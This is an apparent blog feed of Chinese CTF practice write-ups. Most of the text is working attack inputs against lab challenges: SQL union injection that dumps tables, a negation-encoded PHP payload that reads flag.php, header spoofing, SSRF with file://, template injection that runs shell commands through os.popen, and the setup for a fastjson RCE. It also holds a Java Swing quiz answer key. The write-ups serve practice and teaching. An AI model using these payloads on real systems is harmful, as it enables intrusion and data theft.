    <id>https://blog.ziworld.top/2025/06/18/2025-06-18-SSRF/</id>
    <link href="https://blog.ziworld.top/2025/06/18/2025-06-18-SSRF/"/>
    <published>2025-06-18T12:26:00.000Z</published>
    <summary>
      <![CDATA[<h1 id="原理"><a href="#原理" class="headerlink" title="原理"></a>原理</h1><p>先来张图</p>
<p><img]]>
    </summary>
    <title>SSRF</title>
    <updated>2026-03-09T09:40:18.917Z</updated>
  </entry>
  <entry>
    <author>
      <name>ziworld</name>
    </author>
    <category term="CTF" scheme="https://blog.ziworld.top/categories/CTF/"/>
    <category term="练习" scheme="https://blog.ziworld.top/tags/%E7%BB%83%E4%B9%A0/"/>
    <category term="CTF" scheme="https://blog.ziworld.top/tags/CTF/"/>
    <content>
      <![CDATA[<h2 id="本地管理员"><a href="#本地管理员" class="headerlink" title="本地管理员"></a>本地管理员</h2><p><img src="/2025/06/11/2025-6-11-%E4%B9%A0%E9%A2%98%E7%BB%83%E4%B9%A02/image-20250613213425741.png" alt="image-20250613213425741"></p><p><img src="/2025/06/11/2025-6-11-%E4%B9%A0%E9%A2%98%E7%BB%83%E4%B9%A02/image-20250613213507835.png" alt="image-20250613213507835"></p><p>源码中有个base64的注释</p><p><img src="/2025/06/11/2025-6-11-%E4%B9%A0%E9%A2%98%E7%BB%83%E4%B9%A02/image-20250613214228719.png" alt="image-20250613214228719"></p><p>test123，试试账号admin密码test123</p><p><img src="/2025/06/11/2025-6-11-%E4%B9%A0%E9%A2%98%E7%BB%83%E4%B9%A02/image-20250613214318961.png" alt="image-20250613214318961"></p><p><img src="/2025/06/11/2025-6-11-%E4%B9%A0%E9%A2%98%E7%BB%83%E4%B9%A02/image-20250613214717198.png" alt="image-20250613214717198"></p><p>ip不能访问，添加X-Forwarded-For:127.0.0.1，获得flag</p><p><img src="/2025/06/11/2025-6-11-%E4%B9%A0%E9%A2%98%E7%BB%83%E4%B9%A02/image-20250613214754391.png" alt="image-20250613214754391"></p><blockquote><p><code>X-Forwarded-For</code> 用于标识客户端（例如浏览器）的IP地址。在某些环境下，因为客户端通过了多个代理服务器来访问服务器，所以服务器不能直接获得客户端的真实IP地址，而只能获取到代理服务器的IP地址。</p><p>X-Forwarded-For: <client>, <proxy1>, <proxy2></p><p>其中，<em><client></em> 是客户端的 IP 地址，<em><proxy1></em> 和 <em><proxy2></em> 分别是经过的每个代理服务器的 IP 地址。最左边的 IP 地址是原始客户端的 IP 地址，最右边的 IP 地址是最近的代理服务器的 IP 地址</p></blockquote><h2 id="成绩查询"><a href="#成绩查询" class="headerlink" title="成绩查询"></a>成绩查询</h2><p><img src="/2025/06/11/2025-6-11-%E4%B9%A0%E9%A2%98%E7%BB%83%E4%B9%A02/image-20250613215630656.png" alt="image-20250613215630656"></p><p><img src="/2025/06/11/2025-6-11-%E4%B9%A0%E9%A2%98%E7%BB%83%E4%B9%A02/image-20250613215711250.png" alt="image-20250613215711250"></p><p>输入1有回显，1‘回显异常，1’#回显正常，判断是sql字符型注入</p><p>order by判断列数，当<code>1&#39; order by 5 # &#39;   </code>时回显异常，字段数为4</p><p>爆库<code>-1&#39; union select 1,2,3,database()#</code></p><p><img src="/2025/06/11/2025-6-11-%E4%B9%A0%E9%A2%98%E7%BB%83%E4%B9%A02/image-20250613221050390.png" alt="image-20250613221050390"></p><p>爆表<code>-1&#39; union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=&#39;skctf&#39;#</code></p><p><img src="/2025/06/11/2025-6-11-%E4%B9%A0%E9%A2%98%E7%BB%83%E4%B9%A02/image-20250613221128682.png" alt="image-20250613221128682"></p><p>暴字段</p><p><code>-1&#39; union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=&#39;fl4g&#39;#</code></p><p><img src="/2025/06/11/2025-6-11-%E4%B9%A0%E9%A2%98%E7%BB%83%E4%B9%A02/image-20250613221213306.png" alt="image-20250613221213306"></p><p>获得字段内容</p><p><code>-1&#39; union select 1,2,3,group_concat(skctf_flag) from fl4g#</code></p><p><img src="/2025/06/11/2025-6-11-%E4%B9%A0%E9%A2%98%E7%BB%83%E4%B9%A02/image-20250613221250734.png" alt="image-20250613221250734"></p><h2 id="犯人留下了信息"><a href="#犯人留下了信息" class="headerlink" title="犯人留下了信息"></a>犯人留下了信息</h2><p><img src="/2025/06/11/2025-6-11-%E4%B9%A0%E9%A2%98%E7%BB%83%E4%B9%A02/image-20250613222950911.png" alt="image-20250613222950911"></p><p>两张图片</p><p><img src="/2025/06/11/2025-6-11-%E4%B9%A0%E9%A2%98%E7%BB%83%E4%B9%A02/image-20250613223023573.png" alt="image-20250613223023573"></p><p>仔细看着两张图片</p><p><img src="/2025/06/11/2025-6-11-%E4%B9%A0%E9%A2%98%E7%BB%83%E4%B9%A02/image-20250613223856906.png" alt="image-20250613223856906"></p><p><img src="/2025/06/11/2025-6-11-%E4%B9%A0%E9%A2%98%E7%BB%83%E4%B9%A02/image-20250613223900707.png" alt="image-20250613223900707"></p><p>两张图片有不同之处，好像是盲水印</p><figure class="highlight plaintext"><figcaption><span>clone</span><a href="https://github.com/linyacool/blind-watermark.git```下载项目">link</a></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">```python2 decode.py --original 1.png --image 2.png --result 3.png```</span><br><span class="line"></span><br><span class="line">![image-20250613225013160](/2025/06/11/2025-6-11-%E4%B9%A0%E9%A2%98%E7%BB%83%E4%B9%A02/image-20250613225013160.png)</span><br><span class="line"></span><br><span class="line">## hate_php</span><br><span class="line"></span><br><span class="line">![image-20250613231846132](/2025/06/11/2025-6-11-%E4%B9%A0%E9%A2%98%E7%BB%83%E4%B9%A02/image-20250613231846132.png)</span><br><span class="line"></span><br><span class="line">![image-20250613231934572](/2025/06/11/2025-6-11-%E4%B9%A0%E9%A2%98%E7%BB%83%E4%B9%A02/image-20250613231934572.png)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">过滤了字符：`f l a g . p h / ; &quot; &#x27; \` | [ ] _ =`</span><br><span class="line"></span><br><span class="line">过滤了所有 PHP 内置函数名</span><br><span class="line"></span><br><span class="line">为了绕过取两次反</span><br><span class="line"></span><br><span class="line">将`~&#x27;highlight_file&#x27;`和`~&#x27;flag.php&#x27;`用url编码后再取反</span><br><span class="line"></span><br><span class="line">```/?code=(~%97%96%98%97%93%96%98%97%8B%A0%99%96%93%9A)(~%99%93%9E%98%D1%8F%97%8F)```</span><br><span class="line"></span><br><span class="line">![image-20250613232450540](/2025/06/11/2025-6-11-%E4%B9%A0%E9%A2%98%E7%BB%83%E4%B9%A02/image-20250613232450540.png)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">## random</span><br><span class="line"></span><br><span class="line">![image-20250614102123044](/2025/06/11/2025-6-11-%E4%B9%A0%E9%A2%98%E7%BB%83%E4%B9%A02/image-20250614102123044.png)</span><br><span class="line"></span><br><span class="line">![image-20250614102143533](/2025/06/11/2025-6-11-%E4%B9%A0%E9%A2%98%E7%BB%83%E4%B9%A02/image-20250614102143533.png)</span><br><span class="line"></span><br><span class="line">发送的数字通过get请求发送</span><br><span class="line"></span><br><span class="line">![image-20250614102255852](/2025/06/11/2025-6-11-%E4%B9%A0%E9%A2%98%E7%BB%83%E4%B9%A02/image-20250614102255852.png)</span><br><span class="line"></span><br><span class="line">题目叫守株待兔。将num随便取个值，然后对请求进行不断重放得到flag</span><br><span class="line"></span><br><span class="line">![image-20250614102526564](/2025/06/11/2025-6-11-%E4%B9%A0%E9%A2%98%E7%BB%83%E4%B9%A02/image-20250614102526564.png)</span><br><span class="line"></span><br><span class="line">## weakphp</span><br><span class="line"></span><br><span class="line">![image-20250614102651768](/2025/06/11/2025-6-11-%E4%B9%A0%E9%A2%98%E7%BB%83%E4%B9%A02/image-20250614102651768.png)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">![image-20250614102722645](/2025/06/11/2025-6-11-%E4%B9%A0%E9%A2%98%E7%BB%83%E4%B9%A02/image-20250614102722645.png)</span><br><span class="line"></span><br><span class="line">对网址进行扫描发现存在git目录</span><br><span class="line"></span><br><span class="line">使用githack进行还原</span><br><span class="line"></span><br><span class="line">![image-20250614103209398](/2025/06/11/2025-6-11-%E4%B9%A0%E9%A2%98%E7%BB%83%E4%B9%A02/image-20250614103209398.png)</span><br><span class="line"></span><br><span class="line">```php</span><br><span class="line">&lt;?php</span><br><span class="line">require_once &quot;flag.php&quot;;</span><br><span class="line">if (!isset($_GET[&#x27;user&#x27;]) &amp;&amp; !isset($_GET[&#x27;pass&#x27;])) &#123;</span><br><span class="line">    header(&quot;Location: index.php?user=1&amp;pass=2&quot;);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">$user = $_GET[&#x27;user&#x27;];</span><br><span class="line">$pass = $_GET[&#x27;pass&#x27;];</span><br><span class="line">if ((md5($user) == md5($pass)) and ($user != $pass))&#123;</span><br><span class="line">    echo $flag;</span><br><span class="line">&#125; else &#123;</span><br><span class="line">    echo &quot;nonono!&quot;;</span><br><span class="line">&#125;</span><br><span class="line">?&gt;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>需要user和pass不相等但是md5值相等</p><p>用数组绕过，user[]&#x3D;1&amp;pass[]&#x3D;2</p><p><img src="/2025/06/11/2025-6-11-%E4%B9%A0%E9%A2%98%E7%BB%83%E4%B9%A02/image-20250614103357214.png" alt="image-20250614103357214"></p><h2 id="fastjson-1-2-24-rce"><a href="#fastjson-1-2-24-rce" class="headerlink" title="fastjson 1.2.24-rce"></a>fastjson 1.2.24-rce</h2><p>用了dnslog</p><p><img src="/2025/06/11/2025-6-11-%E4%B9%A0%E9%A2%98%E7%BB%83%E4%B9%A02/image-20250614003234425.png" alt="image-20250614003234425"></p><p><img src="/2025/06/11/2025-6-11-%E4%B9%A0%E9%A2%98%E7%BB%83%E4%B9%A02/image-20250614003513006.png" alt="image-20250614003513006"></p><p>javac编译得到TouchFile.class</p><p>启动一个http服务</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python -m http.server 2266</span><br></pre></td></tr></table></figure><p><img src="/2025/06/11/2025-6-11-%E4%B9%A0%E9%A2%98%E7%BB%83%E4%B9%A02/image-20250614004027937.png" alt="image-20250614004027937"></p><p>安装java1.8版本</p><p>下载编译 marshalsec然后一直报错</p>]]>
    </content>
    <id>https://blog.ziworld.top/2025/06/11/2025-6-11-%E4%B9%A0%E9%A2%98%E7%BB%83%E4%B9%A02/</id>
    <link href="https://blog.ziworld.top/2025/06/11/2025-6-11-%E4%B9%A0%E9%A2%98%E7%BB%83%E4%B9%A02/"/>
    <published>2025-06-11T12:28:00.000Z</published>
    <summary>
      <![CDATA[<h2 id="本地管理员"><a href="#本地管理员" class="headerlink" title="本地管理员"></a>本地管理员</h2><p><img]]>
    </summary>
    <title>习题练习2</title>
    <updated>2026-03-09T09:40:19.009Z</updated>
  </entry>
  <entry>
    <author>
      <name>ziworld</name>
    </author>
    <category term="CTF" scheme="https://blog.ziworld.top/categories/CTF/"/>
    <category term="练习" scheme="https://blog.ziworld.top/tags/%E7%BB%83%E4%B9%A0/"/>
    <category term="CTF" scheme="https://blog.ziworld.top/tags/CTF/"/>
    <content>
      <![CDATA[<h2 id="闪的好快"><a href="#闪的好快" class="headerlink" title="闪的好快"></a>闪的好快</h2><p><img src="/2025/06/04/2025-6-4-%E4%B9%A0%E9%A2%98%E7%BB%83%E4%B9%A01/image-20250606233936091.png" alt="image-20250606233936091"></p><p>打开后是一个不断变换的git动图，高度好像也缺了</p><p><img src="/2025/06/04/2025-6-4-%E4%B9%A0%E9%A2%98%E7%BB%83%E4%B9%A01/image-20250606234045442.png" alt="image-20250606234045442"></p><p>对git图片进行分解</p><p><img src="/2025/06/04/2025-6-4-%E4%B9%A0%E9%A2%98%E7%BB%83%E4%B9%A01/image-20250606235638918.png" alt="image-20250606235638918"></p><p>写个脚本，对二维码进行逐帧扫描，最后合并</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> imageio</span><br><span class="line"><span class="keyword">from</span> PIL <span class="keyword">import</span> Image</span><br><span class="line"><span class="keyword">from</span> pyzbar.pyzbar <span class="keyword">import</span> decode</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">extract_qr_data_from_gif</span>(<span class="params">gif_path</span>):</span><br><span class="line">    gif = imageio.get_reader(gif_path)</span><br><span class="line">    qr_data_list = []</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> frame <span class="keyword">in</span> gif:</span><br><span class="line">        pil_image = Image.fromarray(frame)</span><br><span class="line"></span><br><span class="line">        decoded_objects = decode(pil_image)</span><br><span class="line">        <span class="keyword">for</span> obj <span class="keyword">in</span> decoded_objects:</span><br><span class="line">            qr_data_list.append(obj.data.decode(<span class="string">&#x27;utf-8&#x27;</span>))</span><br><span class="line">    </span><br><span class="line">    unique_qr_data = <span class="built_in">list</span>(qr_data_list)</span><br><span class="line">    combined_data = <span class="string">&#x27;&#x27;</span>.join(unique_qr_data)</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">return</span> combined_data</span><br><span class="line"></span><br><span class="line">gif_file_path = <span class="string">&#x27;masterGO.gif&#x27;</span></span><br><span class="line">combined_qr_data = extract_qr_data_from_gif(gif_file_path)</span><br><span class="line"><span class="built_in">print</span>(combined_qr_data)</span><br></pre></td></tr></table></figure><p><img src="/2025/06/04/2025-6-4-%E4%B9%A0%E9%A2%98%E7%BB%83%E4%B9%A01/image-20250606235628580.png" alt="image-20250606235628580"></p><h2 id="come-game"><a href="#come-game" class="headerlink" title="come_game"></a>come_game</h2><p><img src="/2025/06/04/2025-6-4-%E4%B9%A0%E9%A2%98%E7%BB%83%E4%B9%A01/image-20250607000232585.png" alt="image-20250607000232585"></p><p>一个游戏</p><p><img src="/2025/06/04/2025-6-4-%E4%B9%A0%E9%A2%98%E7%BB%83%E4%B9%A01/image-20250607000405444.png" alt="image-20250607000405444"></p><p><img src="/2025/06/04/2025-6-4-%E4%B9%A0%E9%A2%98%E7%BB%83%E4%B9%A01/image-20250607000443933.png" alt="image-20250607000443933"></p><p>玩一小会后发现多了几个文件</p><p><img src="/2025/06/04/2025-6-4-%E4%B9%A0%E9%A2%98%E7%BB%83%E4%B9%A01/image-20250607000608381.png" alt="image-20250607000608381"></p><p>发现每通过一关后save1都会更改</p><p><img src="/2025/06/04/2025-6-4-%E4%B9%A0%E9%A2%98%E7%BB%83%E4%B9%A01/image-20250607001016695.png" alt="image-20250607001016695"></p><p>第一关卡为31，第二关为32，不断进行更改，当为35时，游戏到达第5关，出现了flag</p><p><img src="/2025/06/04/2025-6-4-%E4%B9%A0%E9%A2%98%E7%BB%83%E4%B9%A01/image-20250607001145849.png" alt="image-20250607001145849"></p><h2 id="神秘的文件"><a href="#神秘的文件" class="headerlink" title="神秘的文件"></a>神秘的文件</h2><p><img src="/2025/06/04/2025-6-4-%E4%B9%A0%E9%A2%98%E7%BB%83%E4%B9%A01/image-20250607001816079.png" alt="image-20250607001816079"></p><p>压缩包里嵌压缩包，且第二个压缩包需要密码，明文攻击</p><p><img src="/2025/06/04/2025-6-4-%E4%B9%A0%E9%A2%98%E7%BB%83%E4%B9%A01/image-20250607001906366.png" alt="image-20250607001906366"></p><p>得到密码q1w2e3r4</p><p>docx文件打不开，放入010发现开头是504b0304，后缀改为zip打开</p><p><img src="/2025/06/04/2025-6-4-%E4%B9%A0%E9%A2%98%E7%BB%83%E4%B9%A01/image-20250607004324971.png" alt="image-20250607004324971"></p><p><img src="/2025/06/04/2025-6-4-%E4%B9%A0%E9%A2%98%E7%BB%83%E4%B9%A01/image-20250607004331728.png" alt="image-20250607004331728"></p><p>在里面找到了flag.txt，ZmxhZ3tkMGNYXzFzX3ppUF9maWxlfQ&#x3D;&#x3D;</p><p>base64解码得flag,flag{d0cX_1s_ziP_file}</p><h2 id="全球最大交友网站"><a href="#全球最大交友网站" class="headerlink" title="全球最大交友网站"></a>全球最大交友网站</h2><p><img src="/2025/06/04/2025-6-4-%E4%B9%A0%E9%A2%98%E7%BB%83%E4%B9%A01/image-20250607005142440.png" alt="image-20250607005142440"></p><p><img src="/2025/06/04/2025-6-4-%E4%B9%A0%E9%A2%98%E7%BB%83%E4%B9%A01/image-20250607005305218.png" alt="image-20250607005305218"></p><p>下载a.zip，git log查看历史版本</p><p><img src="/2025/06/04/2025-6-4-%E4%B9%A0%E9%A2%98%E7%BB%83%E4%B9%A01/image-20250607011920512.png" alt="image-20250607011920512"></p><figure class="highlight plaintext"><figcaption><span>--hard 6b21737b59806722a89f33d26658b8508ac009e6```回滚</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">![image-20250607012249956](/2025/06/04/2025-6-4-%E4%B9%A0%E9%A2%98%E7%BB%83%E4%B9%A01/image-20250607012249956.png)</span><br><span class="line"></span><br><span class="line">![image-20250607012344500](/2025/06/04/2025-6-4-%E4%B9%A0%E9%A2%98%E7%BB%83%E4%B9%A01/image-20250607012344500.png)</span><br><span class="line"></span><br><span class="line">## nextGen 1</span><br><span class="line"></span><br><span class="line">![image-20250607012615593](/2025/06/04/2025-6-4-%E4%B9%A0%E9%A2%98%E7%BB%83%E4%B9%A01/image-20250607012615593.png)</span><br><span class="line"></span><br><span class="line">![image-20250607012641867](/2025/06/04/2025-6-4-%E4%B9%A0%E9%A2%98%E7%BB%83%E4%B9%A01/image-20250607012641867.png)</span><br><span class="line"></span><br><span class="line">翻译：这只是我们想要开发的用于监控公司各部门的控制面板的第一个版本</span><br><span class="line"></span><br><span class="line">试试直接访问```http://49.232.142.230:11835/flag.txt```</span><br><span class="line"></span><br><span class="line">![image-20250607012755102](/2025/06/04/2025-6-4-%E4%B9%A0%E9%A2%98%E7%BB%83%E4%B9%A01/image-20250607012755102.png)</span><br><span class="line"></span><br><span class="line">查看主页的源码，发现main.js</span><br><span class="line"></span><br><span class="line">```js</span><br><span class="line">function myFunc(eventObj) &#123;</span><br><span class="line">    var xhttp = new XMLHttpRequest();</span><br><span class="line">    xhttp.onreadystatechange = function () &#123;</span><br><span class="line">      if (this.readyState == 4 &amp;&amp; this.status == 200) &#123;</span><br><span class="line">        document.getElementById(&quot;content&quot;).innerHTML = xhttp.responseText;</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;;</span><br><span class="line">    xhttp.open(&quot;POST&quot;, &#x27;/request&#x27;);</span><br><span class="line">    xhttp.setRequestHeader(&quot;Content-Type&quot;, &quot;application/x-www-form-urlencoded&quot;);</span><br><span class="line">    xhttp.send(&quot;service=&quot; + this.attributes.link.value);</span><br><span class="line"></span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  var dep = document.getElementsByClassName(&#x27;department&#x27;);</span><br><span class="line">  for (var i = 0; i &lt; dep.length; i++) &#123;</span><br><span class="line">    dep[i].addEventListener(&#x27;click&#x27;, myFunc);</span><br><span class="line">  &#125;</span><br></pre></td></tr></table></figure><ol><li><strong>事件监听</strong>：代码首先选择所有 class 为<code>department</code>的元素，并为每个元素添加了点击事件监听器<code>myFunc</code>。</li><li><strong>异步请求</strong>：当点击任意<code>.department</code>元素时，<code>myFunc</code>函数会被调用，创建一个 XMLHttpRequest 对象并发送 POST 请求到<code>/request</code>路径。</li><li><strong>数据处理</strong>：请求的参数是从被点击元素的<code>link</code>属性获取的，格式为<code>service=属性值</code>。</li><li><strong>响应处理</strong>：当请求成功返回（状态码 200 且请求完成）时，将响应内容更新到 id 为<code>content</code>的 DOM 元素中。</li></ol><p>看一下overview</p><p><img src="/2025/06/04/2025-6-4-%E4%B9%A0%E9%A2%98%E7%BB%83%E4%B9%A01/image-20250607014513277.png" alt="image-20250607014513277"></p><p><img src="/2025/06/04/2025-6-4-%E4%B9%A0%E9%A2%98%E7%BB%83%E4%B9%A01/image-20250607014518284.png" alt="image-20250607014518284"></p><p>请求的是外链,可能有ssrf，file:&#x2F;&#x2F;试试</p><p><img src="/2025/06/04/2025-6-4-%E4%B9%A0%E9%A2%98%E7%BB%83%E4%B9%A01/image-20250607014751303.png" alt="image-20250607014751303"></p>]]>
    </content>
    <id>https://blog.ziworld.top/2025/06/04/2025-6-4-%E4%B9%A0%E9%A2%98%E7%BB%83%E4%B9%A01/</id>
    <link href="https://blog.ziworld.top/2025/06/04/2025-6-4-%E4%B9%A0%E9%A2%98%E7%BB%83%E4%B9%A01/"/>
    <published>2025-06-04T12:28:00.000Z</published>
    <summary>
      <![CDATA[<h2 id="闪的好快"><a href="#闪的好快" class="headerlink" title="闪的好快"></a>闪的好快</h2><p><img]]>
    </summary>
    <title>习题练习1</title>
    <updated>2026-03-09T09:40:19.021Z</updated>
  </entry>
  <entry>
    <author>
      <name>ziworld</name>
    </author>
    <category term="默认分类" scheme="https://blog.ziworld.top/categories/%E9%BB%98%E8%AE%A4%E5%88%86%E7%B1%BB/"/>
    <content>
      <![CDATA[<h3 id="一、单选题答案"><a href="#一、单选题答案" class="headerlink" title="一、单选题答案"></a>一、单选题答案</h3><ol><li><strong>C. JButton</strong>  </li><li><strong>D. getText()</strong>  </li><li><strong>D. MouseListener</strong>  </li><li><strong>B. JLabel</strong>  </li><li><strong>A. setLayout()</strong>  </li><li><strong>C. addActionListener()</strong>  </li><li><strong>B. JComboBox</strong></li></ol><h3 id="二、多选题答案"><a href="#二、多选题答案" class="headerlink" title="二、多选题答案"></a>二、多选题答案</h3><ol start="8"><li><strong>C. JPanel、D. JFrame、E. JDialog</strong>  </li><li><strong>A. javax.swing、C. java.awt</strong>  </li><li><strong>A. JPanel、B. JButton、C. JPasswordField、E. JTextField</strong>  </li><li><strong>A. JTextField、B. JComboBox、C. JButton、E. JCheckBox</strong>  </li><li><strong>A. MouseListener、B. WindowListener、C. KeyListener、D. FocusListener、E. ActionListener</strong>  </li><li><strong>C. 事件适配器可以用于简化事件处理代码、D. 事件监听器必须实现相应的事件监听接口</strong>  </li><li><strong>A. 事件监听器必须实现事件处理方法、B. 事件适配器可以用于简化事件处理代码、C. 事件处理机制包括事件源、事件对象和事件监听器</strong></li></ol><h3 id="三、判断题答案"><a href="#三、判断题答案" class="headerlink" title="三、判断题答案"></a>三、判断题答案</h3><ol start="15"><li><strong>A. 对</strong>  </li><li><strong>A. 对</strong>  </li><li><strong>B. 错</strong>  </li><li><strong>A. 对</strong>  </li><li><strong>A. 对</strong>  </li><li><strong>A. 对</strong></li></ol><h3 id="答案总结表"><a href="#答案总结表" class="headerlink" title="答案总结表"></a>答案总结表</h3><table><thead><tr><th>题号</th><th>答案</th><th>题号</th><th>答案</th><th>题号</th><th>答案</th></tr></thead><tbody><tr><td>1</td><td>C</td><td>8</td><td>CDE</td><td>15</td><td>A</td></tr><tr><td>2</td><td>D</td><td>9</td><td>AC</td><td>16</td><td>A</td></tr><tr><td>3</td><td>D</td><td>10</td><td>ABCE</td><td>17</td><td>B</td></tr><tr><td>4</td><td>B</td><td>11</td><td>ABCE</td><td>18</td><td>A</td></tr><tr><td>5</td><td>A</td><td>12</td><td>ABCDE</td><td>19</td><td>A</td></tr><tr><td>6</td><td>C</td><td>13</td><td>CD</td><td>20</td><td>A</td></tr><tr><td>7</td><td>B</td><td>14</td><td>ABC</td><td></td><td></td></tr></tbody></table>]]>
    </content>
    <id>https://blog.ziworld.top/2025/06/04/2025-06-04-%E6%B5%8B%E8%AF%95/</id>
    <link href="https://blog.ziworld.top/2025/06/04/2025-06-04-%E6%B5%8B%E8%AF%95/"/>
    <published>2025-06-04T03:33:00.000Z</published>
    <summary>
      <![CDATA[<h3 id="一、单选题答案"><a href="#一、单选题答案" class="headerlink" title="一、单选题答案"></a>一、单选题答案</h3><ol>
<li><strong>C. JButton</strong>]]>
    </summary>
    <title>测试</title>
    <updated>2026-03-09T09:40:18.917Z</updated>
  </entry>
  <entry>
    <author>
      <name>ziworld</name>
    </author>
    <category term="CTF" scheme="https://blog.ziworld.top/categories/CTF/"/>
    <category term="ctf" scheme="https://blog.ziworld.top/tags/ctf/"/>
    <category term="复现" scheme="https://blog.ziworld.top/tags/%E5%A4%8D%E7%8E%B0/"/>
    <content>
      <![CDATA[<h1 id="web"><a href="#web" class="headerlink" title="web"></a>web</h1><h2 id="nest-js"><a href="#nest-js" class="headerlink" title="nest_js"></a>nest_js</h2><p><img src="/2025/05/27/2025-5-27-LitCTF%E8%B5%9B%E9%A2%98%E5%A4%8D%E7%8E%B0/image-20250527191900760.png" alt="image-20250527191900760"></p><p>bp进行爆破，得到账号admin,密码password</p><p><img src="/2025/05/27/2025-5-27-LitCTF%E8%B5%9B%E9%A2%98%E5%A4%8D%E7%8E%B0/image-20250527191925088.png" alt="image-20250527191925088"></p><p><img src="/2025/05/27/2025-5-27-LitCTF%E8%B5%9B%E9%A2%98%E5%A4%8D%E7%8E%B0/image-20250527192029596.png" alt="image-20250527192029596"></p><h2 id="星愿信箱"><a href="#星愿信箱" class="headerlink" title="星愿信箱"></a>星愿信箱</h2><p>魔板注入</p><p><img src="/2025/05/27/2025-5-27-LitCTF%E8%B5%9B%E9%A2%98%E5%A4%8D%E7%8E%B0/image-20250529194100233.png" alt="image-20250529194100233"></p><p>看有哪些函数</p><p><img src="/2025/05/27/2025-5-27-LitCTF%E8%B5%9B%E9%A2%98%E5%A4%8D%E7%8E%B0/image-20250529195428774.png" alt="image-20250529195428774"></p><p>通过 config对象调用 os.popen执行 <code>ls /</code></p><p><img src="/2025/05/27/2025-5-27-LitCTF%E8%B5%9B%E9%A2%98%E5%A4%8D%E7%8E%B0/image-20250529195633146.png" alt="image-20250529195633146"></p><p>发现有flag,cat别屏蔽了，<code>head /flag</code>查看</p><p><img src="/2025/05/27/2025-5-27-LitCTF%E8%B5%9B%E9%A2%98%E5%A4%8D%E7%8E%B0/image-20250529195947717.png" alt="image-20250529195947717"></p><h2 id="多重宇宙日记"><a href="#多重宇宙日记" class="headerlink" title="多重宇宙日记"></a>多重宇宙日记</h2><p>注册然后登陆</p><p><img src="/2025/05/27/2025-5-27-LitCTF%E8%B5%9B%E9%A2%98%E5%A4%8D%E7%8E%B0/image-20250529200335198.png" alt="image-20250529200335198"></p><p><img src="/2025/05/27/2025-5-27-LitCTF%E8%B5%9B%E9%A2%98%E5%A4%8D%E7%8E%B0/image-20250529200551495.png" alt="image-20250529200551495"></p><p>需要isAdmin状态</p><p><img src="/2025/05/27/2025-5-27-LitCTF%E8%B5%9B%E9%A2%98%E5%A4%8D%E7%8E%B0/image-20250529200906034.png" alt="image-20250529200906034"></p><p>更新json</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span 